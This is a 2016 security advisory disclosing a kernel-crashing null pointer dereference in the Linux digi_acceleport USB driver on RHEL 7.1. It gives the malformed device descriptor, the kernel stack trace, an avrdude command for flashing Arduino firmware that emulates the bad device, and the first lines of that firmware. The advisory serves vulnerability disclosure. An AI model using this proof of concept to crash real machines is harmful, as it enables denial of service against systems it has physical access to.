Linux digi_acceleport Null Pointer Dereference

2016.03.10
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-476

OS-S Security Advisory 2016-12 Linux digi_acceleport Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS ? RHEL 7.1 Kernel crashes on invalid USB device descriptors (digi_acceleport driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of advisory: https://os-s.net/advisories/OSS-2016-11_wacom.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the digi_acceleport driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x5c5 idProduct: 0x2 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 The digi_acceleport driver does not use the num_ports (struct usb_serial) value for any kind of sanity checks during the initialization process (digi_port_init & digi_startup). Due to an incomplete sanity check, the driver could try to dereference a null-pointer if a malformed device-descriptor is presented (zero-value for bNumEndpoints or no described endpoint-descriptors). This results in a crash of the system. [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. To this day, no security patch was provided by the vendor. Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283378 Kernel Stacktrace: [ 39.946974] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 40.160503] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint descriptors, different from the interface descriptor's value: 0 [ 40.191627] usb 1-1: New USB device found, idVendor=05c5, idProduct=0002 [ 40.200660] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 40.210919] usb 1-1: Product: ? [ 40.216028] usb 1-1: Manufacturer: ? [ 40.220047] usb 1-1: SerialNumber: % [ 40.285649] usbcore: registered new interface driver digi_acceleport [ 40.295629] usbserial: USB Serial support registered for Digi 2 port USB adapter [ 40.302062] usbserial: USB Serial support registered for Digi 4 port USB adapter [ 40.318968] digi_acceleport 1-1:1.0: Digi 2 port USB adapter converter detected [ 40.327158] BUG: unable to handle kernel NULL pointer dereference at 0000000000000268 [ 40.328013] IP: [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20 [ 40.328013] PGD 0 [ 40.328013] Oops: 0002 [#1] SMP [ 40.328013] Modules linked in: digi_acceleport(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 40.328013] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 40.328013] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 40.328013] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 40.328013] RIP: 0010:[<ffffffff81097dca>] [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20 [ 40.328013] RSP: 0018:ffff88000bd23a30 EFLAGS: 00010282 [ 40.328013] RAX: 0000000000000270 RBX: ffff88000af97d80 RCX: 0000000000000000 [ 40.328013] RDX: ffffffffa03978f8 RSI: ffffffffa0396577 RDI: 0000000000000268 [ 40.328013] RBP: ffff88000bd23a58 R08: 0000000000016440 R09: ffff88000e401800 [ 40.328013] R10: ffffffffa039531a R11: ffff88000c3b9800 R12: 0000000000000000 [ 40.328013] R13: 0000000000000003 R14: ffff88000af97840 R15: ffffffffa0397200 [ 40.328013] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 40.328013] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 40.328013] CR2: 0000000000000268 CR3: 000000000cb80000 CR4: 00000000000006f0 [ 40.328013] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 40.328013] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 40.328013] Stack: [ 40.328013] ffff88000bd23a58 ffffffffa03953bf ffff88000d685d00 ffff88000af97840 [ 40.328013] ffff88000c525830 ffff88000bd23a80 ffffffffa0395464 ffff88000bd23a80 [ 40.328013] ffff88000af97858 ffff88000af97858 ffff88000bd23c18 ffffffff8145fed1 [ 40.328013] Call Trace: [ 40.328013] [<ffffffffa03953bf>] ? digi_port_init+0xcf/0x100 [digi_acceleport] [ 40.328013] [<ffffffffa0395464>] digi_startup+0x54/0x98 [digi_acceleport] [ 40.328013] [<ffffffff8145fed1>] usb_serial_probe+0xdb1/0x1230 [ 40.328013] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0 [ 40.328013] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0 [ 40.328013] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0 [ 40.328013] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100 [ 40.328013] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 40.328013] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 40.328013] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 40.328013] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 40.328013] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 40.328013] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 40.328013] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580 [ 40.328013] [<ffffffffa039a000>] ? 0xffffffffa0399fff [ 40.328013] [<ffffffffa039a01e>] usb_serial_module_init+0x1e/0x1000 [digi_acceleport] [ 40.328013] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 40.328013] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 40.328013] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 40.328013] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 40.328013] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 40.328013] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 40.328013] Code: 00 48 c7 c7 50 32 d6 81 e8 74 38 57 00 e9 37 ff ff ff e8 5a 1a 57 00 e9 61 ff ff ff 0f 1f 44 00 00 0f 1f 44 00 00 55 48 8d 47 08 <c7> 07 00 00 00 00 48 89 e5 48 89 47 08 48 89 47 10 5d c3 0f 1f [ 40.328013] RIP [<ffffffff81097dca>] __init_waitqueue_head+0xa/0x20 [ 40.328013] RSP <ffff88000bd23a30> [ 40.328013] CR2: 0000000000000268 [ 40.772818] ---[ end trace b239663354a1c556 ]--- [ 40.778676] Kernel panic - not syncing: Fatal exception [ 40.779642] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C2050C942D04CE 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Referencje:

https://os-s.net/advisories/OSS-2016-11_wacom.pdf


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